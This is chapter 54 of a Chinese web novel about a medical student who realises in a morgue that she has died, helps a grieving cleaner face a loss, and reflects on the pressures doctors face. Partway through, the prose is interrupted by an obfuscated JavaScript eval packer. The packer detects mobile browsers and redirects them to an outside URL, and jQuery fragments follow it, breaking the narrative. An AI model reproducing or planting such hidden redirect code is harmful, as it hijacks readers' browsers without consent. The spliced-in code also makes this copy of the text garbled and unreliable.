54. 逃离

作品:《逃离太平间

    一瞬间,冷意从四面八方涌来,尤思只觉整个人像被扔进了冰水之中。


    她猛地睁开眼睛,天花板上日照灯的白光直直打在她的眼睛上,她的眼睛没有任何的不舒适。


    尤思躺在冰冷的金属床上,身体僵硬,腿动弹不了一点,手指也动不了。


    她想要起身,却只能躺着,盯着天花板。


    那股味道还在,冷的,淡淡的甜腥。


    她的大脑很混乱,有人在喊她的名字,也有人啜泣着,各种声音交杂在一起。


    不知从什么地方,很遥远的角落里,回荡起那熟悉的调子,伴着嘎吱的车轮声。


    “没得事,没得事……都没得事哟……”


    那声音还是那样,拖着一点尾音。


    尤思的视线缓慢地移动,她看见马德世,他推着那熟悉的车。


    车上堆满了杂七杂八的东西,罩着一层布,好似摇摇欲坠的小山。


    他没有看她,只是沿着固定的路线走着,嘴里一遍遍地重复着。


    尤思张了张嘴,她想叫他,却没有声音。


    马德世的脚步却停了一下,他大概听见了什么,慢慢转身推着小车走向她的方向。


    没有惊讶,没有疑问,更像是早就知道她在这里。


    “醒了啊?”


    尤思看着他,喉咙却没有任何起伏,她没有办法说话。


    马德世把车停在一旁,他走了过来,站在金属床旁。


    那张脸,和她记忆里的不太一样,一段时间不见后,更空了。


    “没得事。”他又说了一遍。


    “你也只是睡着了……”


    尤思盯着他,那句话在她脑子里转了一圈,忽然变得有些陌生。


    马德世的目光在她脸上停了一会儿,然后移开,像是不太敢看。


    他伸手去整理旁边的床单,动作很慢,很仔细。


    “人啊,总有会睡着的时候。”


    尤思忽然有一点想笑,但她笑不出来,更具体一点说,她是没有办法感受到“笑”了。


    她忽然明白了一件事。


    她静静地看着他,那股味道,在空气里静静地弥漫着。


    她忽然意识到一件事,这味道,不是从别的地方传来的。


    它一直都在。


    只是她之前,一直在躲。


    当她不再抗拒的时候,那种刺鼻的甜腥,反而淡了。


    尤思的意识一点点清晰,她再次开口,“他是10月15日离开的。”


    这一次,她“听见”了,声音很轻。


    马德世猛地抬头,像是被什么击中了一样。


    “没有。”他立刻反驳道。


    “他没有。”


    “你别乱说。”


    尤思没有急着说什么,只是注视了马德世许久。


    “你知道的,你在10月15号写过。”


    “你骗了我,也骗了自己。”


    马德世的手一点点收紧,指节发白。


    “那是……”但随即他说不下去了,他被戳穿了一个曾经的幻梦。


    “你不想承认,不是吗?”


    马德世的呼吸变重了一点,他猛地摇头。


    “没有!”声音突然大了,在空荡的空间里来回穿梭。


    “他没事!”


    “他好好的!”


    “你们都说他有病,说他不行了,可他明明好好的!”


    他说到一半,停住了,卡住了。


    后面的话,没有出来。


    尤思没有打断他,等他自己停下来。


    等那一股用力,慢慢散掉。


    过了很久,马德世的肩膀一点点塌下去。


    他站在那里,忽然老了很多。


    尤思轻声说:“你不是在等他回来,你是在不肯让他走,可是他已经走了。”


    马德世站在那里,很久很久。


    他的手垂在身侧,轻轻发抖,终于撑不住了。


    有些话,说到这里就够了。


    再多,就变成别的东西了。


    马德世转身,推着清洁车往外走。


    走了两步,又停了一下。


    “10月15号……”


    下一秒,他又笑了。


    ”没得事,没得事……”着那熟悉的曲调随着车轮滚动着,渐渐远去。


    有些人,选择了停在这里。


    那股气味在慢慢散去,尤思从床上“走”了下来。


    果然,如她所想的那般,她“睡着”了。


    这里是太平间,真正的尤思已经躺在冰冷的金属柜里永远闭上了双眼。


    尤思走到金属柜前,注视着那一排排整齐的柜门,编号清晰,冰冷而规则。


    她很容易就找到了那一个,像是本来就知道。


    她走过去,手落在把手上,没有温度。


    她轻轻用力,柜门被拉开。


    里面躺着一个人,很安静。


    那张脸,她很熟悉,却又有一点陌生。


    没有表情。


    没有呼吸。


    没有任何“还在”的迹象。


    此时此刻,就躺在那里。


    尤思盯着看了很久,她忽然意识到一件事。


    她之前,一直在寻找着什么。


    找气味,找门,找时间的错位。


    好像只要找到某个答案,她就可以达成大脑里那段催促着她逃离医院的指令。


    但现在,她站在这里。


    没有任何的异常,只有一个事实。


    ——她死了。


    这个念头很平静地出现,只是一个结论。


    尤思想起那些人。


    费清。


    那个孕妇。


    李薇。


    张秀兰。


    他们的声音,好像还在耳边。


    “你为什么要管我?”


    “我早就不想活了。”


    “你给了我希望。”


    “你为什么要多管闲事?”


    那些话,之前有千斤重,现在再回想起来,不断消解,轻的像灰尘,一吹即散。


    尤思轻轻开口,“因为我想救他们,但那是我想的。我会成为一名医生,所以我想救他们。”


    她看着柜子里的自己。


    空气很安静。


    没有人回应。


    她明白了一点,她并没有做错什么。


    她只是越界了,越过了那条线,那条医生和病人之间的线,那条生和死之间的线。


    她越过去了,然后她死了。


    她伸手去抓那些本不属于她的选择,她想把人留下来,哪怕对方已经不想继续。


    费清是这样,还有千千万万的病人也是这样。


    对于医生来说,最为宝贵的是患者的生命存在,每一个人都想赢来一个修复完全的身体,但身体会坏,会老,会修不好。


    不是每一次的伸手都能将他们抓回来,会有遗憾,也会有无可奈何。


    有的时候,一些患者忘记了医生也是人,也会生病,用严酷的刑罚去惩罚他们没有完成的职责,举报、谋害、舆论压制……


    他们从医,学了那么多年,在无数场考试中摸爬打滚,一年睡不到几天好觉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433673|196145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最后因为一个救不回来的病人,被永远钉在了耻辱柱上,他们可能什么都没有做错,只是最近没有救回来。


    家属不愿意接受,社会无法容忍,他们要找一个凶手,一个能负责的人,一个可以怪罪的对象,医生成了他们最好的靶子。


    她躺在病床上的那天,也曾臆想陆仁毅对她的治疗已然放弃,她和他们一样需要一个情绪的出气口。


    那些人不需要一个医生,他们需要的是一个神。


    可是医生也只是普通人,而不是神,没有达到那些苛求者的要求,便成了罪人。


    身体已是病态,精神跟着一同陷入病态,医生需要去解决,但也需要病人自己去处理,生命的完善需要每一个环节的负责。


    有些医生撑不下去了,他们也是病人,病在心里,病在那些看不见的地方。


    没有人给他们开药,没有人告诉他们“你已经做得很好了”。


    他们只能自己治自己。


    治不好的,就转行;治坏了,就永远倒下。


    回到选择的初衷,为医神圣,却在崎岖路途中难找方向。


    弯弯绕绕,其实想想最开始那份崇高就足够了。


    尤思慢慢呼出一口气,没有真正的呼吸,却有一种很轻的释放感。


    那股冷潮的甜腥味,还在。


    她低头看了一眼自己的手,很干净,没有血。


    那一瞬间,记忆轻轻撞了进来。


    人群。白色的衣角。倒在地上的那个人。


    尤思很轻地说了一句,“……马远。”


    那个下午,尤思扑了过去,想要把那个晕倒在地上的路人救醒。


    那个人不是别人,正是马远。


    她几乎是下意识的,一股脑就冲了上去。


    马路上冲来了两辆车,其中一辆为了避让尤思和马远,踩了急刹,却还是撞到了尤思,也把旁边那辆车所有的玻璃撞碎了。


    这是她人生最后一场意外。


    她扑过去,想要把那个倒在地上的人救醒。她不知道那是谁,她只是看见有人倒下了,也没有想过后果。


    她只是想救人。


    她不后悔。


    如果再选一次,她还是会冲上去。


    还是会扑过去,还是会伸出手,还是会想把人留下来,哪怕留不住。


    她看着柜子里的自己很久,然后伸出手,轻轻把柜门推了回去。


    “咔哒”一声。


    一切彻底结束了,尤思站在那里,没有再动。


    她没有什么需要再做的了,她不需要再去找出口了,也不用再想着“离开”。


    那个一直催促着她离开的声音,最终归于一种和谐。


    所谓的“逃离”,从来就不是离开这里。


    而是——不再紧紧攥紧,承认有些生命,已然结束。


    那股味道还在,却不再刺鼻,变得很淡,是某种被承认过的存在。


    尤思的身体一点点变得很轻,有什么东西松开了。


    没有光,没有声音,唯有有安静。


    她最后看了一眼这间太平间。


    整齐、冰冷、无声。


    这里是一个终点,也是一个起点的答案。


    尤思她没有再回头。这一次,她没有再逃跑。


    她地停了下来,冷潮的甜腥味随着漂浮的意识离去。


    所有的一切,是她的选择,她可以选择伸手,做了她能做的,这就够了。


    冷潮的甜腥味彻底消失,一缕执着碎灭,尤思离开了太平间。


    很远的地方,似乎有人在喊她的名字,她没有回头。